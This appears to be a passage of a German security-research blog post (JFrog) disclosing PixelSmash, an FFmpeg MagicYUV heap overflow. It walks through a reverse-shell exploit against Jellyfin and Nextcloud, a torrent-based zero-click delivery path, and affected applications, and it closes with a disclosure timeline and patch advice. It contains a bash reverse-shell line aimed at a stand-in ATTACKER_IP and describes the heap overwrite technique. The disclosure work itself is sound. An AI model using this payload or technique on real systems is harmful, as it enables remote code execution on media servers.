Exploit-AVI-Datei:<\/p>\n<ul>\n<li aria-level=\"1\">Platziert den Shell-Befehl (bash -c &#8216;bash -i &gt;&amp;amp; \/dev\/tcp\/ATTACKER_IP\/4444 0&gt;&amp;amp;1&#8217;) im 88 Byte gro\u00dfen Nullbereich bei OOB-Offset 0<\/li>\n<li aria-level=\"1\">Erh\u00e4lt alle 33 Qwords der glibc-Chunk-Metadaten im Cb-OOB-Bereich unver\u00e4ndert<\/li>\n<li aria-level=\"1\">Erh\u00e4lt den tcache-Eintrag und den Top Chunk im Cr-OOB-Bereich (entscheidend: Wenn die Gr\u00f6\u00dfe des Top Chunks besch\u00e4digt ist, schl\u00e4gt der interne fork()\/exec()-Pfad von system() fehl)<\/li>\n<li aria-level=\"1\">\u00dcberschreibt AVBuffer.free mit system() und AVBuffer.opaque mit der Adresse des Befehlsstrings<\/li>\n<\/ul>\n<p>Die gesamte Exploit-Payload wird zu einer einzigen AVI-Datei mit 50 KB (alternativ kann es auch ein MKV- oder MOV-Container sein).<\/p>\n<h3>Das Ergebnis: Reverse Shell durch einen Video-Upload<\/h3>\n<p>Wir haben einen Listener auf dem Rechner des Angreifers eingerichtet und einen Scan der Jellyfin-Library ausgel\u00f6st (f\u00fcr diese Demonstration war ASLR deaktiviert war\u00a0\u2013 siehe dazu die Erl\u00e4uterungen zu ASLR weiter oben). Wenige Sekunden nachdem ffprobe von Jellyfin die hochgeladene Datei verarbeitet hatte, erhielten wir eine Reverse Shell, die mit den Rechten des Jellyfin-Servicenutzers ausgef\u00fchrt wurde:<\/p>\n<pre class=\"language-c\"><code>$ nc -l 4444\r\njellyfin@ubuntu-vm:~$ id\r\nuid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)\r\njellyfin@ubuntu-vm:~$ whoami\r\njellyfin\r\n<\/code><\/pre>\n<div style=\"width: 1788px;\" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement('video');<\/script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-172263-1\" width=\"1788\" height=\"1308\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4?_=1\" \/><a href=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4\">https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4<\/a><\/video><\/div>\n<p>Aus dem Jellyfin-Benutzerkontext heraus hat ein Angreifer Zugriff auf s\u00e4mtliche Medienbibliotheken, die Serverkonfiguration und API-Schl\u00fcssel und kann (je nach Deployment) m\u00f6glicherweise auf andere Dienste im Netzwerk \u00fcbergreifen bzw. sich lateral im Netzwerk weiterbewegen (Lateral Movement).<\/p>\n<h3>Zero-Click-Angriff \u00fcber Torrent-Downloads<\/h3>\n<p>Ein besonders gef\u00e4hrlicher Angriffsweg in der Praxis sind Torrent-Downloads, die direkt in Medienserver-Libraries gelangen. Viele Jellyfin-Nutzer konfigurieren ihren Torrent-Client (qBittorrent, Transmission, Deluge) so, dass heruntergeladene Dateien direkt im \u00fcberwachten Medienbibliotheksordner von Jellyfin landen \u2013 z. B. \/var\/lib\/jellyfin\/media\/movies\/.<\/p>\n<p>Der Angriff erfordert nach dem urspr\u00fcnglichen Torrent-Download keine weitere Nutzerinteraktion:<\/p>\n<ul>\n<li aria-level=\"1\">Der Angreifer stellt eine b\u00f6sartige MagicYUV-AVI-Datei auf einem \u00f6ffentlichen Torrent-Tracker bereit und tarnt sie als beliebten Film (z.\u00a0B. Blockbuster_Movie_2026_1080p.avi, 50 KB)<\/li>\n<li aria-level=\"1\">Der Torrent-Client des Opfers l\u00e4dt die Datei direkt in den Ordner der Jellyfin-Medienbibliothek herunter<\/li>\n<li aria-level=\"1\">Die Echtzeit-Dateisystem\u00fcberwachung von Jellyfin erkennt die neue Datei und startet automatisch einen ffprobe-Metadaten-Scan<\/li>\n<li aria-level=\"1\">W\u00e4hrend des Scans wird der Exploit ausgel\u00f6st: AVBuffer.free wird zu system() umgeleitet und der Reverse-Shell-Befehl des Angreifers wird als jellyfin-Dienstbenutzer ausgef\u00fchrt<\/li>\n<\/ul>\n<p>Nachdem der Torrent-Download abgeschlossen ist, muss der Nutzer nichts weiter tun. Das Opfer muss die Datei weder \u00f6ffnen noch abspielen oder \u00fcberhaupt ansehen\u00a0\u2013 der automatische Scan der Jellyfin-Library \u00fcbernimmt den Rest. Damit wird der Torrent-Vektor bei g\u00e4ngigen Konfigurationen von Home-Medienservern zu einem echten Zero-Click-Exploit.<\/p>\n<p>Dasselbe Prinzip gilt f\u00fcr jede automatisierte Medien-Pipeline, bei der heruntergeladene Dateien in einem \u00fcberwachten Verzeichnis landen: Sonarr\/Radarr -&gt; Jellyfin, NZBGet -&gt; Emby oder andere &amp;quot;Watch Folder&amp;quot;, bei denen neue Dateien automatisch eine ffmpeg-basierte Verarbeitung triggern.<\/p>\n<p><em>Diagramm 3\u00a0\u2013 Realer Angriff<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168608 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3-1024x553.png\" alt=\"Pixelsmash-Diagramm 3\" width=\"1024\" height=\"553\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_1420 1420w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><strong>Hinweis zu jemalloc:<\/strong> Jellyfins \/etc\/default\/jellyfin enth\u00e4lt eine auskommentierte LD_PRELOAD-Zeile f\u00fcr libjemalloc2. Wenn ein Nutzer oder eine Distribution diese aktiviert, w\u00fcrde das abweichende Heap-Layout von jemalloc verhindern, dass der glibc-kalibrierte Exploit greift. In diesem Fall ist das jedoch nur ein zuf\u00e4lliger Nebeneffekt, weil nichts in der Standardkonfiguration darauf ausgelegt ist, den Angriff zu stoppen. Bei <strong>der Default-Apt-Installation<\/strong> ist jemalloc nicht aktiviert und ffprobe nutzt standardm\u00e4\u00dfig das glibc-Heap-Layout, das von unserem Exploit ben\u00f6tigt wird.<\/p>\n<h2>Exploit in der Praxis: Nextcloud-RCE via Vorschaugenerierung<\/h2>\n<p>Um zu demonstrieren, dass sich der Exploit auf verschiedene Anwendungen und FFmpeg-Versionen \u00fcbertragen l\u00e4sst, haben wir die RCE-Kette auf <strong>Nextcloud<\/strong> portiert\u00a0\u2013 die f\u00fchrende selbst gehostete Cloud-Speicherplattform, die einen vollst\u00e4ndig unabh\u00e4ngigen FFmpeg-Build nutzt.<\/p>\n<p>Nextcloud verf\u00fcgt \u00fcber einen optionalen Film-Preview-Provider (OC\\Preview\\Movie), der die systemeigene <strong>ffmpeg<\/strong>-Bin\u00e4rdatei zur Generierung von Thumbnails aufruft. Ist dieser aktiviert, l\u00f6st bereits das Aufrufen der Files-App die Schwachstelle bei jedem Video aus, das keine zwischengespeicherte Vorschau hat.<\/p>\n<p>Der Angreifer nur daf\u00fcr zu sorgen, dass die Datei in der Ordner\u00fcbersicht sichtbar ist. Die weitere Verarbeitung erfolgt serverseitig, wodurch ein Near-Zero-Click-Vector entsteht.<\/p>\n<p>Ein beispielhafter Angriffspfad sieht so aus: Ein Nutzer l\u00e4dt die manipulierte AVI-Datei \u00fcber die Weboberfl\u00e4che hoch\u00a0\u2013&gt; die Datei erscheint in der Dateiansicht -&gt; Nextcloud startet ffmpeg zur Extraktion von Metadaten und Preview\u00a0\u2013&gt; der MagicYUV-OOB-Write wird ausgel\u00f6st\u00a0\u2013&gt; AVBuffer.free wird so manipuliert, dass der Aufruf an system() umgeleitet wird\u00a0\u2013&gt; beliebige Befehle werden als www-data-Benutzer ausgef\u00fchrt.<\/p>\n<p>Der www-data-Kontext ist besonders relevant: Er gew\u00e4hrt direkten Zugriff auf s\u00e4mtliche Benutzerdaten sowie auf die Datenbankanmeldeinformationen in der config.php und bietet einen wirkungsvollen Ausgangspunkt f\u00fcr weitere Angriffe im internen Netzwerk.<\/p>\n<p>Die Ausnutzung erfolgt v\u00f6llig unbemerkt. Im Webinterface ist der einzige Hinweis ein generisches Dateisymbol dort, wo ein Thumbnail zu sehen sein sollte. Weder Fehlermeldungen noch Pop-ups machen den Nutzer nicht auf den Angriff aufmerksam. Und auch der folgende Absturz geht in serverseitigen Protokollen unter, die von Administratoren h\u00e4ufig nicht aktiv \u00fcberwacht werden.<\/p>\n<p><span style=\"font-weight: 400;\">Weitere Details finden Sie im folgenden Video:<\/span><\/p>\n<div style=\"width: 1216px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-172263-2\" width=\"1216\" height=\"1090\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4?_=2\" \/><a href=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4\">https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4<\/a><\/video><\/div>\n<h2>Auswirkungen auf das \u00d6kosystem: DoS in allen Medien-Stacks<\/h2>\n<p>Auch ohne die RCE-Kette f\u00fchrt bereits der MagicYUV-OOB-Write allein bei allen von uns getesteten g\u00e4ngigen Anwendungen zur Medienverarbeitung zu einem sofortigen Absturz:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Ziel<\/strong><\/td>\n<td><strong>Wie es FFmpeg verwendet<\/strong><\/td>\n<td><strong>Absturzverhalten<\/strong><\/td>\n<\/tr>\n<tr>\n<td>mpv (Desktop-Player)<\/td>\n<td>Verkn\u00fcpft die systemweite libavcodec<\/td>\n<td>munmap_chunk(): invalid pointer &#8211; SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>Kodi<\/td>\n<td>Verkn\u00fcpft die systemweite libavcodec<\/td>\n<td>Absturz<\/td>\n<\/tr>\n<tr>\n<td>ffmpegthumbnailer (GNOME\/KDE\/XFCE)<\/td>\n<td>Verkn\u00fcpft die systemweite libavcodec<\/td>\n<td>SIGSEGV, core dumped<\/td>\n<\/tr>\n<tr>\n<td>Jellyfin 10.11.9<\/td>\n<td>Geb\u00fcndeltes jellyfin-ffmpeg 7.1.3<\/td>\n<td>Unbemerkter Heap-Fehler (kein Absturz, keine Fehlermeldung)<\/td>\n<\/tr>\n<tr>\n<td>Emby 4.8.11<\/td>\n<td>Geb\u00fcndeltes emby-ffmpeg 5.1<\/td>\n<td>Unbemerkter Heap-Fehler, exit 0<\/td>\n<\/tr>\n<tr>\n<td>Nextcloud (Preview Worker)<\/td>\n<td>Systemweites ffmpeg via Shell-Out<\/td>\n<td>Absturz + RCE als www-data | nicht standardm\u00e4\u00dfige Konfiguration (Filmvorschau-Provider)<\/td>\n<\/tr>\n<tr>\n<td>Immich (Transcodierungs-Service)<\/td>\n<td>Systemweites ffmpeg<\/td>\n<td>SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>PhotoPrism (Poster-Extraktion)<\/td>\n<td>Systemweites ffmpeg<\/td>\n<td>SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>OBS Studio<\/td>\n<td>Systemweite libavcodec<\/td>\n<td>Absturz<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Die Datei ist nur 50 KB gro\u00df und funktioniert in drei verschiedenen Containerformaten:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Container<\/td>\n<td>Unterst\u00fctzt MagicYUV?<\/td>\n<td>Bringt FFmpeg zum Absturz?<\/td>\n<\/tr>\n<tr>\n<td>AVI<\/td>\n<td>Ja<\/td>\n<td>Ja<\/td>\n<\/tr>\n<tr>\n<td>MKV \/ Matroska<\/td>\n<td>Ja<\/td>\n<td>Ja<\/td>\n<\/tr>\n<tr>\n<td>MOV \/ QuickTime<\/td>\n<td>Ja<\/td>\n<td>Ja<\/td>\n<\/tr>\n<tr>\n<td>MP4<\/td>\n<td>Nein (Codec nicht in MP4-Registry)<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><\/h3>\n<h3>Eine Schwachstelle in der Lieferkette mit potenziell enormer Reichweite<\/h3>\n<p>Die obige Tabelle veranschaulicht, warum PixelSmash im Kern eine Lieferketten-Schwachstelle ist. libavcodec von FFmpeg ist die Standard-Library f\u00fcr die Decodierung von Medien und als transitive Abh\u00e4ngigkeit in praktisch jede Anwendung eingebettet, die Videos verarbeitet. Der MagicYUV-Decoder ist in jedem Upstream-Build standardm\u00e4\u00dfig aktiviert und Downstream-Projekte \u00fcbernehmen ihn ohne explizites Opt-in.<\/p>\n<p>Das bedeutet: Ein einzelner Fehler in magicyuv.c \u2013 600 Zeilen Codec-spezifischer Code, den die meisten Downstream-Maintainer nie gelesen haben\u00a0\u2013 verbreiten sich unbemerkt auf mpv, Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS, vLLM und Hunderte andere Projekte. Jedes dieser Projekte vertraut darauf, dass FFmpeg nicht vertrauensw\u00fcrdige Eingaben sicher verarbeitet. Keines davon verf\u00fcgt \u00fcber die n\u00f6tige Transparenz oder Expertise, um einzelne Codec-Decoder zu \u00fcberpr\u00fcfen. Genau darin liegt das Lieferkettenproblem: Ihre Angriffsfl\u00e4che umfasst jede Codezeile in jeder Abh\u00e4ngigkeit, die Sie ausliefern \u2013unabh\u00e4ngig davon, ob Sie sie selbst gepr\u00fcft haben oder nicht.<\/p>\n<p>Der Ansatz von Plex\u00a0\u2013 FFmpeg mit &#8211;disable-decoders und einer minimalen Allowlist zu bauen\u00a0\u2013 ist die einzige wirksame Schutzma\u00dfnahme, die wir beobachten konnten. Gleichzeitig ist es auch die seltenste: Von allen Projekten, die wir getestet haben, setzt ausschlie\u00dflich Plex auf diesen Ansatz.<\/p>\n<p><em>Diagramm4\u00a0\u2013 Auswirkungen auf die Lieferkette<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168609 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4-1024x689.png\" alt=\"Pixelsmash-Diagramm 4\" width=\"1024\" height=\"689\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_1460 1460w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h3>Unbemerkte Heap-Korruption ist schlimmer als ein Absturz<\/h3>\n<p>Jellyfin und Emby verarbeiten die sch\u00e4dliche Datei mit exit code 0 und ohne Fehlerausgabe. Das hei\u00dft jedoch keineswegs, dass kein Fehler vorliegt; der Heap wird trotzdem unbemerkt besch\u00e4digt. Mit ASAN instrumentierte Builds derselben FFmpeg-Version best\u00e4tigen, dass derselbe 640 Byte gro\u00dfe OOB-Write ausgel\u00f6st wird. Die Produktionsbin\u00e4rdatei l\u00f6st die Integrit\u00e4tspr\u00fcfung von glibc f\u00fcr den besch\u00e4digten Chunk einfach nicht aus.<\/p>\n<p>Ein lang laufender Jellyfin-Server verarbeitet Hunderte von sch\u00e4dlichen Uploads, wobei sich die Heap-Korruption mit jedem einzelnen fortsetzt \u2013 ohne irgendein Fehlersignal an den Administrator. Dies ist m\u00f6glicherweise das schlimmste Fehlerszenario: Der Server wird aktiv ausgenutzt, w\u00e4hrend nichts in irgendeinem Log den Betreiber darauf hinweist.<\/p>\n<h3>SaaS-Kostensteigerung (in der Theorie)<\/h3>\n<p>Jede Cloud-Pipeline zur Videoverarbeitung, die von Nutzern hochgeladene Mediendateien akzeptiert, setzt auf FFmpeg-basierte Worker. Fehlgeschlagene Jobs werden erneut ausgef\u00fchrt\u00a0\u2013 und jede Wiederholung l\u00f6st den Absturz erneut aus:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Anzahl der Wiederholungsversuche<\/td>\n<td>Kostensteigerung pro 50-KB-Upload<\/td>\n<\/tr>\n<tr>\n<td>AWS Lambda Standardwert (3 Wiederholungsversuche)<\/td>\n<td>13,7x<\/td>\n<\/tr>\n<tr>\n<td>Sidekiq-Standardwert (25 Wiederholungsversuche)<\/td>\n<td>~114x<\/td>\n<\/tr>\n<tr>\n<td>AWS Step Functions (MaxAttempts: 10)<\/td>\n<td>~46x<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Ein kontinuierlicher Upload sch\u00e4dlicher Dateien mit 1 KB\/s (deutlich unterhalb dem \u00fcblichen Ratenlimit) w\u00fcrde den Betreiber theoretisch allein bei AWS Lambda rund 200\u00a0$\/Tag kosten. Das asymmetrische Kostenverh\u00e4ltnis bei den Preisen f\u00fcr ausgehenden Netzwerk-Traffic betr\u00e4gt etwa 50.000:1 zugunsten des Angreifers.<\/p>\n<h2>Die Angriffsfl\u00e4che jenseits der direkten Videowiedergabe<\/h2>\n<p>Die Schwachstelle kann \u00fcber jeden Codepfad ausgel\u00f6st werden, der einen MagicYUV-Stream durch den Decoder von libavcodec leitet. Neben der direkten Wiedergabe betrifft das unter anderem:<\/p>\n<ul>\n<li aria-level=\"1\">Thumbnail-Generierung: Linux-Dateimanager (Nautilus, Dolphin, Thunar) starten ffmpegthumbnailer bereits dann, wenn ein Nutzer lediglich ein Verzeichnis mit einer sch\u00e4dlichen Datei aufruft\u00a0\u2013 ein Klick ist nicht erforderlich.<\/li>\n<li aria-level=\"1\">Vorschau-Generierung: NAS-Ger\u00e4te (Synology DSM, QNAP), Foto-Manager (Immich, PhotoPrism) und Cloud-Speicher (Nextcloud\u00a0\u2013 RCE best\u00e4tigt, siehe oben) erzeugen beim Hochladen Thumbnails.<\/li>\n<li aria-level=\"1\">Extraktion von Metadaten: Medienserver f\u00fchren ffprobe aus, um Stream-Informationen zu extrahieren. Der automatische Scan von Jellyfin wird bei jeder neuen Datei in der Medienbibliothek ausgel\u00f6st.<\/li>\n<li aria-level=\"1\">ML\/KI-Pipelines: vLLM und andere multimodale KI-Frameworks, die PyAV\/libavcodec zur Decodierung von Videoeingaben verwenden (best\u00e4tigter DoS, 3\/3 SIGSEGV) sind ebenfalls betroffen.<\/li>\n<li aria-level=\"1\">Chat-Plattformen: Slack, Discord, Telegram und WhatsApp erzeugen alle serverseitige Video-Previews mit FFmpeg (Architektur ist in ihren Engineering-Blogs dokumentiert; nicht in der Produktion getestet).<\/li>\n<\/ul>\n<h2>Neue Angriffsfl\u00e4chen: KI\/ML und dar\u00fcber hinaus<\/h2>\n<p>Die Reichweite der Schwachstelle geht weit \u00fcber klassische Medienanwendungen hinaus. Wir haben empfohlen, mehrere relevante Ziele im KI\/ML-\u00d6kosystem, die Videos \u00fcber FFmpeg verarbeiten, auf eine m\u00f6gliche Gef\u00e4hrdung zu untersuchen:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Ziel<\/td>\n<td>Wie es FFmpeg verwendet<\/td>\n<td>Auswirkung<\/td>\n<\/tr>\n<tr>\n<td>vLLM<\/td>\n<td>Verwendet PyAV (In-Process-FFmpeg-Bindings) zum Decodieren von Videoeingaben f\u00fcr multimodale LLM-Inferenz. Wir haben DoS best\u00e4tigt: 3\/3 SIGSEGV.<\/td>\n<td>Absturz des Inferenz-Workers; bei gemeinsam genutzten Deployments f\u00fchrt das zum Absturz des Serving-Prozesses f\u00fcr alle Nutzer<\/td>\n<\/tr>\n<tr>\n<td>LLaVA \/ LLaVA-NeXT<\/td>\n<td>Multimodale Vision-Language-Modelle. Die Decode-Pipeline verwendet PyAV oder OpenCV.<\/td>\n<td>Worker-Absturz; bei lang laufenden Serving-Prozessen besteht Potenzial f\u00fcr Heap-Korruption<\/td>\n<\/tr>\n<tr>\n<td>OpenCV (cv2.VideoCapture)<\/td>\n<td>Verkn\u00fcpft die systemweite libavcodec Wird \u00fcberall in ML-Trainingspipelines eingesetzt.<\/td>\n<td>SIGABRT bei jedem VideoCapture.read() der sch\u00e4dlichen Datei<\/td>\n<\/tr>\n<tr>\n<td>Hugging Face Datasets<\/td>\n<td>Video-Datens\u00e4tze, die \u00fcber PyAV oder einen ffmpeg-Subprozess geladen werden.<\/td>\n<td>Absturz beim Laden von Datens\u00e4tzen; manipulierte Datensatzeintr\u00e4ge k\u00f6nnten bei Trainingsl\u00e4ufen einen DoS verursachen<\/td>\n<\/tr>\n<tr>\n<td>NVIDIA DALI<\/td>\n<td>GPU-beschleunigte Datenlade-Pipeline. Kann FFmpeg-Backend verwenden.<\/td>\n<td>Worker-Absturz; potenzielles Kaskadenversagen beim verteilten Training<\/td>\n<\/tr>\n<tr>\n<td>Ray Data \/ Ray Serve<\/td>\n<td>Verteilte Datenverarbeitung und Modell-Serving.<\/td>\n<td>Der Absturz wirkt sich auf weitere Ray-Worker aus; ein einzelnes sch\u00e4dliches Video beeintr\u00e4chtigt den Cluster<\/td>\n<\/tr>\n<tr>\n<td>Roboflow \/ Supervisely \/ CVAT<\/td>\n<td>CV(Computer Vision)-Annotationsplattformen. Verarbeitet von Nutzern hochgeladene Videos.<\/td>\n<td>Serverseitiger Absturz beim Upload; Heap-Besch\u00e4digung in Annotation-Workern<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Das gemeinsame Muster bei all diesen Targets: Sie akzeptieren Videos aus nicht vertrauensw\u00fcrdigen Quellen (User-Uploads, Web-Scraping, \u00f6ffentliche Datens\u00e4tze oder Modell-Prompts) und verarbeiten sie ohne Codec-Filterung \u00fcber libavcodec. Der MagicYUV-Decoder ist in jedem Standard-Build aktiviert.<\/p>\n<p>Wir haben die DoS-Auswirkungen direkt mit vLLM \u00fcberpr\u00fcft und den Absturz best\u00e4tigt. Eine RCE \u00fcber die AVBuffer-Overwrite-Primitive l\u00e4sst sich nicht direkt von FFmpeg 7.1.3 auf libavcodec 4.4 (die von PyAV unter Ubuntu 22.04 verlinkte Version) \u00fcbertragen. Der Grund ist eine andere Heap-Layout-Geometrie: Die AVBuffer-Struktur liegt dort 14 KB vor dem Ende der Chroma-Ebene statt 256 Bytes dahinter und damit au\u00dferhalb der Reichweite des OOB-Writes. Alternative Exploitation-Strategien (Fastbin-Angriff \u00fcber Chunk-Metadaten innerhalb des OOB-Bereichs oder ein Hijacking der _IO_FILE-vtable) bleiben jedoch weiterhin m\u00f6glich und sollten weiter untersucht werden.<\/p>\n<p>Daher empfehlen wir Teams, die eine KI\/ML-Infrastruktur zur Verarbeitung von Videoeingaben betreiben, ihre FFmpeg-Abh\u00e4ngigkeit zu pr\u00fcfen und entweder den Patch anzuwenden oder den MagicYUV-Decoder zu deaktivieren.<\/p>\n<h2>Zeitlicher Ablauf der Disclosure<\/h2>\n<table>\n<tbody>\n<tr>\n<td>Datum<\/td>\n<td>Event<\/td>\n<\/tr>\n<tr>\n<td>13. Mai 2026<\/td>\n<td>JFrog Security Research meldete die Schwachstelle dem FFmpeg-Sicherheitsteam (ffmpeg-security@ffmpeg.org).<\/td>\n<\/tr>\n<tr>\n<td>19. Mai 2026<\/td>\n<td>Das FFmpeg-Sicherheitsteam best\u00e4tigte die Meldung.<\/td>\n<\/tr>\n<tr>\n<td>24. Mai 2026<\/td>\n<td>JFrog Security Research meldete die Schwachstelle dem Jellyfin-Sicherheitsteam (security@jellyfin.org).<\/td>\n<\/tr>\n<tr>\n<td>26. Mai 2026<\/td>\n<td>Das Jellyfin-Sicherheitsteam aktualisierte seine Upstream-Version<\/td>\n<\/tr>\n<tr>\n<td>26. Mai 2026<\/td>\n<td>Gemeldet an die Sicherheitsteams von mpv, obsproject, photoprism und immich und die Meldung wurde an das Bug-Bounty-Programm von Nextcloud \u00fcbermittelt<\/td>\n<\/tr>\n<tr>\n<td>27. Mai 2026<\/td>\n<td>Das Sicherheitsteam von Photoprism er\u00f6ffnete auf ihrem GitHub einen Issue, um eine Liste von FFmpeg-Formaten und -Codecs auszuschlie\u00dfen.<\/p>\n<p>Das Nextcloud-Team antwortete auf HackerOne, dass es das nicht als Problem einstufe, da die Schwachstelle au\u00dferhalb von Nextcloud liegt.<\/td>\n<\/tr>\n<tr>\n<td>31. Mai 2026<\/td>\n<td>Dem Sicherheitsteam von vLLM gemeldet<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">7. Juni 2026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">An das Kodi-Team gemeldet<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">17. Juni 2026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">FFmpeg ver\u00f6ffentlichte eine gepatchte Version (8.1.2), die eine Behebung f\u00fcr CVE-2026-8461 enth\u00e4lt.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">18. Juni 2026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">CVE ver\u00f6ffentlicht.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">22. Juni 2026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">JFrog Security Research ver\u00f6ffentlicht diesen Artikel.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><\/h2>\n<h2>So sch\u00fctzen Sie sich<\/h2>\n<p>Angesichts einer stetig wachsenden Angriffsfl\u00e4che und t\u00e4glich neu entdeckter Bedrohungen lohnt es sich, bei aktuellen Schwachstellen auf dem Laufenden zu bleiben. Setzen Sie dazu ein Lesezeichen f\u00fcr das <a href=\"https:\/\/research.jfrog.com\">JFrog Security Research Center<\/a> und informieren Sie sich regelm\u00e4\u00dfig \u00fcber unsere neuesten Forschungsergebnisse.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>JFrog Security Research hat vor Kurzem eine kritische Schwachstelle in FFmpeg \u2013 dem weltweit am h\u00e4ufigsten eingesetzten Framework zur Verarbeitung von Mediendateien \u2013 entdeckt und offengelegt. Die entdeckte Schwachstelle, die wir PixelSmash genannt haben, tr\u00e4gt das K\u00fcrzel CVE-2026-8461\u00a0\u2013 ein Heap-Out-of-Bounds-Write im MagicYUV-Decoder (CVSS 8,8 Hoch). Wir haben die Schwachstelle von einem einfachen Absturz bis hin &hellip;<\/p>\n","protected":false},"author":590,"featured_media":168602,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10515,10157],"tags":[11366,11367,11368,11117,10848,10348],"class_list":["post-172263","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community-de","category-sicherheit-und-devsecops","tag-anwendungssicherheit","tag-cves","tag-remote-code-execution","tag-open-source-security-de","tag-vulnerabilities-de","tag-security-research-de"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>PixelSmash (CVE-2026-8461): Kritische FFmpeg-Schwachstelle | JFrog<\/title>\n<meta name=\"description\" content=\"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/172263\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko\" \/>\n<meta property=\"og:description\" content=\"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.\" \/>\n<meta property=\"og:url\" 